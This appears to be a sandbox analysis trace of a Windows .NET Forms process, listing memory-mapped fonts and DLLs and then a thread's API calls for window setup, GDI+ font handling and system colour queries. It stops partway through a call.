mapped_file name = "malgun.ttf" filename = "\\Windows\\Fonts\\malgun.ttf" (normalized: "c:\\windows\\fonts\\malgun.ttf") Region: id = 2623 start_va = 0x50d0000 end_va = 0x54f2fff entry_point = 0x50d0000 region_type = mapped_file name = "malgun.ttf" filename = "\\Windows\\Fonts\\malgun.ttf" (normalized: "c:\\windows\\fonts\\malgun.ttf") Region: id = 2624 start_va = 0x5500000 end_va = 0x56fffff entry_point = 0x0 region_type = private name = "private_0x0000000005500000" filename = "" Region: id = 2625 start_va = 0x600000 end_va = 0x67efff entry_point = 0x600000 region_type = mapped_file name = "segoeui.ttf" filename = "\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\windows\\fonts\\segoeui.ttf") Region: id = 2626 start_va = 0x600000 end_va = 0x67efff entry_point = 0x600000 region_type = mapped_file name = "segoeui.ttf" filename = "\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\windows\\fonts\\segoeui.ttf") Region: id = 2627 start_va = 0x600000 end_va = 0x67ffff entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 2629 start_va = 0x5700000 end_va = 0x602ffff entry_point = 0x5700000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 2631 start_va = 0x390000 end_va = 0x390fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 2632 start_va = 0x790000 end_va = 0x7f1fff entry_point = 0x790000 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorrc.dll") Region: id = 2635 start_va = 0x50d0000 end_va = 0x526afff entry_point = 0x50d0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 2636 start_va = 0x50d0000 end_va = 0x526afff entry_point = 0x50d0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 2637 start_va = 0x70ee0000 end_va = 0x7107dfff entry_point = 0x70ee0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 2638 start_va = 0x420000 end_va = 0x420fff entry_point = 0x420000 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 2639 start_va = 0x430000 end_va = 0x431fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2640 start_va = 0x735f0000 end_va = 0x73602fff entry_point = 0x735f0000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 2641 start_va = 0x50d0000 end_va = 0x52e8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000050d0000" filename = "" Region: id = 2652 start_va = 0x420000 end_va = 0x426fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2653 start_va = 0x440000 end_va = 0x441fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2654 start_va = 0x6030000 end_va = 0x6422fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006030000" filename = "" Region: id = 2656 start_va = 0x450000 end_va = 0x45ffff entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 2658 start_va = 0x460000 end_va = 0x46ffff entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 2659 start_va = 0x450000 end_va = 0x451fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 2660 start_va = 0x850000 end_va = 0x88ffff entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 2661 start_va = 0x5310000 end_va = 0x540ffff entry_point = 0x0 region_type = private name = "private_0x0000000005310000" filename = "" Region: id = 2662 start_va = 0x7efa7000 end_va = 0x7efa9fff entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 2663 start_va = 0x450000 end_va = 0x450fff entry_point = 0x450000 region_type = mapped_file name = "msctf.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\msctf.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\msctf.dll.mui") Region: id = 2664 start_va = 0x460000 end_va = 0x461fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 2665 start_va = 0x460000 end_va = 0x460fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 2666 start_va = 0x75b40000 end_va = 0x75bc2fff entry_point = 0x75b40000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 2667 start_va = 0x470000 end_va = 0x470fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 2668 start_va = 0xf30000 end_va = 0xfaffff entry_point = 0x0 region_type = private name = "private_0x0000000000f30000" filename = "" Region: id = 2697 start_va = 0x600000 end_va = 0x60ffff entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 2698 start_va = 0x640000 end_va = 0x67ffff entry_point = 0x0 region_type = private name = "private_0x0000000000640000" filename = "" Region: id = 2699 start_va = 0x6430000 end_va = 0x6648fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006430000" filename = "" Region: id = 2701 start_va = 0x70de0000 end_va = 0x70edafff entry_point = 0x70de0000 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\SysWOW64\\WindowsCodecs.dll" (normalized: "c:\\windows\\syswow64\\windowscodecs.dll") Region: id = 2702 start_va = 0x610000 end_va = 0x611fff entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Region: id = 2703 start_va = 0x50d0000 end_va = 0x52e8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000050d0000" filename = "" Region: id = 2704 start_va = 0x6430000 end_va = 0x6648fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006430000" filename = "" Region: id = 2705 start_va = 0xc30000 end_va = 0xc92fff entry_point = 0x0 region_type = private name = "private_0x0000000000c30000" filename = "" Region: id = 2706 start_va = 0x6650000 end_va = 0x674ffff entry_point = 0x0 region_type = private name = "private_0x0000000006650000" filename = "" Region: id = 2707 start_va = 0x710000 end_va = 0x73efff entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 2708 start_va = 0x610000 end_va = 0x613fff entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Region: id = 2711 start_va = 0x610000 end_va = 0x614fff entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Region: id = 2712 start_va = 0x620000 end_va = 0x62ffff entry_point = 0x0 region_type = private name = "private_0x0000000000620000" filename = "" Region: id = 2713 start_va = 0x630000 end_va = 0x63ffff entry_point = 0x0 region_type = private name = "private_0x0000000000630000" filename = "" Region: id = 2714 start_va = 0x740000 end_va = 0x74ffff entry_point = 0x0 region_type = private name = "private_0x0000000000740000" filename = "" Region: id = 2720 start_va = 0x890000 end_va = 0x89ffff entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 2722 start_va = 0x8a0000 end_va = 0x8b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008a0000" filename = "" Region: id = 2723 start_va = 0x4480000 end_va = 0x44c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004480000" filename = "" Region: id = 2724 start_va = 0x4be0000 end_va = 0x4beffff entry_point = 0x0 region_type = private name = "private_0x0000000004be0000" filename = "" Region: id = 2728 start_va = 0x680000 end_va = 0x68ffff entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 2729 start_va = 0xce0000 end_va = 0xceffff entry_point = 0x0 region_type = private name = "private_0x0000000000ce0000" filename = "" Region: id = 2730 start_va = 0x77ae0000 end_va = 0x77ae4fff entry_point = 0x77ae0000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 2732 start_va = 0x800000 end_va = 0x80ffff entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 2736 start_va = 0x50d0000 end_va = 0x524ffff entry_point = 0x50d0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2737 start_va = 0x6430000 end_va = 0x6648fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006430000" filename = "" Region: id = 2738 start_va = 0x6750000 end_va = 0x6968fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006750000" filename = "" Region: id = 2739 start_va = 0xdf0000 end_va = 0xdf0fff entry_point = 0x0 region_type = private name = "private_0x0000000000df0000" filename = "" Region: id = 2740 start_va = 0x4990000 end_va = 0x49cffff entry_point = 0x0 region_type = private name = "private_0x0000000004990000" filename = "" Region: id = 2741 start_va = 0x6b50000 end_va = 0x6c4ffff entry_point = 0x0 region_type = private name = "private_0x0000000006b50000" filename = "" Region: id = 2742 start_va = 0x70d00000 end_va = 0x70dd3fff entry_point = 0x70d00000 region_type = mapped_file name = "diasymreader.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\diasymreader.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\diasymreader.dll") Region: id = 2743 start_va = 0x7efa4000 end_va = 0x7efa6fff entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 2744 start_va = 0xe00000 end_va = 0xe00fff entry_point = 0xe00000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 2745 start_va = 0x5430000 end_va = 0x546ffff entry_point = 0x0 region_type = private name = "private_0x0000000005430000" filename = "" Region: id = 2746 start_va = 0x6450000 end_va = 0x654ffff entry_point = 0x0 region_type = private name = "private_0x0000000006450000" filename = "" Region: id = 2747 start_va = 0x7efa1000 end_va = 0x7efa3fff entry_point = 0x0 region_type = private name = "private_0x000000007efa1000" filename = "" Region: id = 2748 start_va = 0xe00000 end_va = 0xe00fff entry_point = 0xe00000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 2749 start_va = 0x761c0000 end_va = 0x76e09fff entry_point = 0x761c0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 2750 start_va = 0xe00000 end_va = 0xe00fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e00000" filename = "" Region: id = 2751 start_va = 0xe10000 end_va = 0xe10fff entry_point = 0xe10000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 2752 start_va = 0xe10000 end_va = 0xe16fff entry_point = 0xe10000 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 2753 start_va = 0xe10000 end_va = 0xe10fff entry_point = 0xe10000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 2754 start_va = 0xe10000 end_va = 0xe16fff entry_point = 0xe10000 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 2755 start_va = 0xe10000 end_va = 0xe10fff entry_point = 0xe10000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 2756 start_va = 0xe10000 end_va = 0xe16fff entry_point = 0xe10000 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 2757 start_va = 0xfc0000 end_va = 0xfcffff entry_point = 0x0 region_type = private name = "private_0x0000000000fc0000" filename = "" Region: id = 2777 start_va = 0x49d0000 end_va = 0x49f8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000049d0000" filename = "" Thread: id = 53 os_tid = 0x560 [0207.966] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0218.603] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLNAME") returned 0xc11d [0218.603] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLTYPE") returned 0xc11e [0219.385] GetCurrentProcess () returned 0xffffffff [0219.386] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x2be854 | out: TokenHandle=0x2be854*=0x1e4) returned 1 [0219.417] GetCurrentProcess () returned 0xffffffff [0219.417] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x2be8b0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x2be8b0*=0x1ec) returned 1 [0219.465] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x0 [0219.468] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x73a30000 [0219.504] GetModuleHandleW (lpModuleName="user32.dll") returned 0x75e10000 [0219.504] GetProcAddress (hModule=0x75e10000, lpProcName="DefWindowProcW") returned 0x77b425dd [0219.505] GetStockObject (i=5) returned 0x1900015 [0219.531] GetModuleHandleW (lpModuleName=0x0) returned 0xfe0000 [0219.538] CoTaskMemAlloc (cb=0x5c) returned 0x566cd8 [0219.538] RegisterClassW (lpWndClass=0x2be6c8) returned 0xc11f [0219.539] CoTaskMemFree (pv=0x566cd8) [0219.539] GetModuleHandleW (lpModuleName=0x0) returned 0xfe0000 [0219.539] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r14_ad1", lpWindowName=0x0, dwStyle=0x2010000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0xfffffffd, hMenu=0x0, hInstance=0xfe0000, lpParam=0x0) returned 0x10158 [0219.540] SetWindowLongW (hWnd=0x10158, nIndex=-4, dwNewLong=2008294877) returned 77793286 [0219.540] GetWindowLongW (hWnd=0x10158, nIndex=-4) returned 2008294877 [0219.579] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x2bdfd8 | out: phkResult=0x2bdfd8*=0x1fc) returned 0x0 [0219.579] RegQueryValueExW (in: hKey=0x1fc, lpValueName="DbgJITDebugLaunchSetting", lpReserved=0x0, lpType=0x2bdff8, lpData=0x0, lpcbData=0x2bdff4*=0x0 | out: lpType=0x2bdff8*=0x0, lpData=0x0, lpcbData=0x2bdff4*=0x0) returned 0x2 [0219.579] RegQueryValueExW (in: hKey=0x1fc, lpValueName="DbgManagedDebugger", lpReserved=0x0, lpType=0x2bdff8, lpData=0x0, lpcbData=0x2bdff4*=0x0 | out: lpType=0x2bdff8*=0x0, lpData=0x0, lpcbData=0x2bdff4*=0x0) returned 0x2 [0219.580] RegCloseKey (hKey=0x1fc) returned 0x0 [0219.584] SetWindowLongW (hWnd=0x10158, nIndex=-4, dwNewLong=77793326) returned 2008294877 [0219.584] GetWindowLongW (hWnd=0x10158, nIndex=-4) returned 77793326 [0219.584] GetWindowLongW (hWnd=0x10158, nIndex=-16) returned 113311744 [0219.586] RegisterClipboardFormatW (lpszFormat="WinFormsMouseEnter") returned 0xc120 [0219.587] RegisterClipboardFormatW (lpszFormat="WinFormsUnSubclass") returned 0xc121 [0219.587] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10158, Msg=0x81, wParam=0x0, lParam=0x2be2a4) returned 0x1 [0219.587] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10158, Msg=0x83, wParam=0x0, lParam=0x2be290) returned 0x0 [0219.587] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10158, Msg=0x1, wParam=0x0, lParam=0x2be2a4) returned 0x0 [0219.588] GetClientRect (in: hWnd=0x10158, lpRect=0x2be00c | out: lpRect=0x2be00c) returned 1 [0219.588] GetWindowRect (in: hWnd=0x10158, lpRect=0x2be00c | out: lpRect=0x2be00c) returned 1 [0219.589] GetParent (hWnd=0x10158) returned 0x0 [0219.716] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", nBufferLength=0x105, lpBuffer=0x2be724, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", lpFilePart=0x0) returned 0x77 [0219.763] IsAppThemed () returned 0x1 [0219.765] CoTaskMemAlloc (cb=0xf0) returned 0x573a78 [0219.765] CreateActCtxA (pActCtx=0x2bec20) returned 0x5765c4 [0219.859] CoTaskMemFree (pv=0x573a78) [0220.024] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.025] AdjustWindowRectEx (in: lpRect=0x2be718, dwStyle=0x56cf0000, bMenu=0, dwExStyle=0x50001 | out: lpRect=0x2be718) returned 1 [0220.208] EtwEventRegister () returned 0x0 [0220.214] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.214] AdjustWindowRectEx (in: lpRect=0x2be10c, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2be10c) returned 1 [0220.245] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.246] AdjustWindowRectEx (in: lpRect=0x2be110, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2be110) returned 1 [0220.248] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.248] AdjustWindowRectEx (in: lpRect=0x2be110, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2be110) returned 1 [0220.249] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.249] AdjustWindowRectEx (in: lpRect=0x2be110, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2be110) returned 1 [0220.271] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.271] AdjustWindowRectEx (in: lpRect=0x2be110, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2be110) returned 1 [0220.275] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.275] AdjustWindowRectEx (in: lpRect=0x2be110, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2be110) returned 1 [0220.276] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.276] AdjustWindowRectEx (in: lpRect=0x2be110, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2be110) returned 1 [0220.277] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.277] AdjustWindowRectEx (in: lpRect=0x2be110, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2be110) returned 1 [0220.278] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.278] AdjustWindowRectEx (in: lpRect=0x2be110, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2be110) returned 1 [0220.288] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.288] AdjustWindowRectEx (in: lpRect=0x2be118, dwStyle=0x562100c1, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2be118) returned 1 [0220.290] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.290] AdjustWindowRectEx (in: lpRect=0x2be110, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2be110) returned 1 [0220.365] GdiplusStartup (in: token=0x116a50, input=0x2bd600, output=0x2bd650 | out: token=0x116a50, output=0x2bd650) returned 0x0 [0220.370] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x2be0ec) returned 0x0 [0220.378] GdipCreateFont (fontFamily=0x4bff690, emSize=0x41040000, style=1, unit=0x3, font=0x24bf050) returned 0x0 [0220.393] GdipGetFontSize (font=0x4bffe98, size=0x24bf054) returned 0x0 [0220.395] GetSystemDefaultLCID () returned 0x409 [0220.396] GetStockObject (i=17) returned 0x18a0025 [0220.398] GetObjectW (in: h=0x18a0025, c=92, pv=0x2bdf94 | out: pv=0x2bdf94) returned 92 [0220.399] GetDC (hWnd=0x0) returned 0x1401007f [0220.401] CoTaskMemAlloc (cb=0x5c) returned 0x566c08 [0220.402] GdipCreateFontFromLogfontW (hdc=0x1401007f, logfont=0x566c08, font=0x2be05c) returned 0x0 [0220.539] CoTaskMemFree (pv=0x566c08) [0220.540] CoTaskMemAlloc (cb=0x5c) returned 0x566c08 [0220.540] CoTaskMemFree (pv=0x566c08) [0220.540] CoTaskMemAlloc (cb=0x5c) returned 0x566c08 [0220.540] CoTaskMemFree (pv=0x566c08) [0220.540] GdipGetFontUnit (font=0x4bfff30, unit=0x2be028) returned 0x0 [0220.540] GdipGetFontSize (font=0x4bfff30, size=0x2be02c) returned 0x0 [0220.541] GdipGetFontStyle (font=0x4bfff30, style=0x2be024) returned 0x0 [0220.541] GdipGetFamily (font=0x4bfff30, family=0x2be020) returned 0x0 [0220.541] GdipGetFontSize (font=0x4bfff30, size=0x24bf6bc) returned 0x0 [0220.541] ReleaseDC (hWnd=0x0, hDC=0x1401007f) returned 1 [0220.541] GetDC (hWnd=0x0) returned 0x1401007f [0220.548] GdipCreateFromHDC (hdc=0x1401007f, graphics=0x2be048) returned 0x0 [0220.548] GdipGetDpiY (graphics=0x4ad7018, dpi=0x24bf7c4) returned 0x0 [0220.549] GdipGetFontHeight (font=0x4bfff30, graphics=0x4ad7018, height=0x2be040) returned 0x0 [0220.549] GdipGetEmHeight (family=0x4bff690, style=0, EmHeight=0x2be048) returned 0x0 [0220.549] GdipGetLineSpacing (family=0x4bff690, style=0, LineSpacing=0x2be048) returned 0x0 [0220.549] GdipDeleteGraphics (graphics=0x4ad7018) returned 0x0 [0220.549] ReleaseDC (hWnd=0x0, hDC=0x1401007f) returned 1 [0220.549] GdipCreateFont (fontFamily=0x4bff690, emSize=0x41040000, style=0, unit=0x3, font=0x24bf784) returned 0x0 [0220.549] GdipGetFontSize (font=0x4b68f90, size=0x24bf788) returned 0x0 [0220.549] GdipDeleteFont (font=0x4bfff30) returned 0x0 [0220.555] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.555] AdjustWindowRectEx (in: lpRect=0x2be09c, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2be09c) returned 1 [0220.574] GetUserObjectInformationA (in: hObj=0x5c, nIndex=1, pvInfo=0x24bfee0, nLength=0xc, lpnLengthNeeded=0x2bdf78 | out: pvInfo=0x24bfee0, lpnLengthNeeded=0x2bdf78) returned 1 [0220.578] SetConsoleCtrlHandler (HandlerRoutine=0x4a3087e, Add=1) returned 1 [0220.579] GetModuleHandleW (lpModuleName=0x0) returned 0xfe0000 [0220.579] GetModuleHandleW (lpModuleName=0x0) returned 0xfe0000 [0220.581] GetClassInfoW (in: hInstance=0xfe0000, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", lpWndClass=0x24bff44 | out: lpWndClass=0x24bff44) returned 0 [0220.582] CoTaskMemAlloc (cb=0x58) returned 0x55d6b0 [0220.582] RegisterClassW (lpWndClass=0x2bdec8) returned 0xc123 [0220.582] CoTaskMemFree (pv=0x55d6b0) [0220.583] CreateWindowExW (dwExStyle=0x0, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", lpWindowName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", dwStyle=0x80000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0xfe0000, lpParam=0x0) returned 0x10164 [0220.584] NtdllDefWindowProc_W () returned 0x0 [0220.584] NtdllDefWindowProc_W () returned 0x0 [0220.584] NtdllDefWindowProc_W () returned 0x0 [0220.584] NtdllDefWindowProc_W () returned 0x0 [0220.598] GetSysColor (nIndex=10) returned 0xb4b4b4 [0220.598] GetSysColor (nIndex=2) returned 0xd1b499 [0220.598] GetSysColor (nIndex=9) returned 0x0 [0220.598] GetSysColor (nIndex=12) returned 0xababab [0220.599] GetSysColor (nIndex=15) returned 0xf0f0f0 [0220.599] GetSysColor (nIndex=20) returned 0xffffff [0220.599] GetSysColor (nIndex=16) returned 0xa0a0a0 [0220.599] GetSysColor (nIndex=15) returned 0xf0f0f0 [0220.599] GetSysColor (nIndex=16) returned 0xa0a0a0 [0220.599] GetSysColor (nIndex=21) returned 0x696969 [0220.599] GetSysColor (nIndex=22) returned 0xe3e3e3 [0220.599] GetSysColor (nIndex=20) returned 0xffffff [0220.599] GetSysColor (nIndex=18) returned 0x0 [0220.599] GetSysColor (nIndex=1) returned 0x0 [0220.599] GetSysColor (nIndex=27) returned 0xead1b9 [0220.599] GetSysColor (nIndex=28) returned 0xf2e4d7 [0220.599] GetSysColor (nIndex=17) returned 0x6d6d6d [0220.599] GetSysColor (nIndex=13) returned 0xff9933 [0220.599] GetSysColor (nIndex=14) returned 0xffffff [0220.599] GetSysColor (nIndex=26) returned 0xcc6600 [0220.599] GetSysColor (nIndex=11) returned 0xfcf7f4 [0220.599] GetSysColor (nIndex=3) returned 0xdbcdbf [0220.599] GetSysColor (nIndex=19) returned 0x544e43 [0220.599] GetSysColor (nIndex=24) returned 0xe1ffff [0220.600] GetSysColor (nIndex=23) returned 0x0 [0220.600] GetSysColor (nIndex=4) returned 0xf0f0f0 [0220.600] GetSysColor (nIndex=30) returned 0xf0f0f0 [0220.600] GetSysColor (nIndex=29) returned 0xff9933 [0220.600] GetSysColor (nIndex=7) returned 0x0 [0220.600] GetSysColor (nIndex=0) returned 0xc8c8c8 [0220.600] GetSysColor (nIndex=5) returned 0xffffff [0220.600] GetSysColor (nIndex=6) returned 0x646464 [0220.600] GetSysColor (nIndex=8) returned 0x0 [0220.600] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.600] AdjustWindowRectEx (in: lpRect=0x2be09c, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2be09c) returned 1 [0220.621] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x2be0ec) returned 0x0 [0220.621] GdipCreateFont (fontFamily=0x4bff690, emSize=0x41040000, style=1, unit=0x3, font=0x24c0540) returned 0x0 [0220.621] GdipGetFontSize (font=0x4bfff30, size=0x24c0544) returned 0x0 [0220.622] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.622] AdjustWindowRectEx (in: lpRect=0x2be070, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2be070) returned 1 [0220.622] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.622] AdjustWindowRectEx (in: lpRect=0x2be070, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2be070) returned 1 [0220.626] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x2be0ec) returned 0x0 [0220.626] GdipCreateFont (fontFamily=0x4bff690, emSize=0x41040000, style=1, unit=0x3, font=0x24c0778) returned 0x0 [0220.626] GdipGetFontSize (font=0x4b68fb8, size=0x24c077c) returned 0x0 [0220.626] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.626] AdjustWindowRectEx (in: lpRect=0x2be070, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2be070) returned 1 [0220.626] GetModuleHandleW 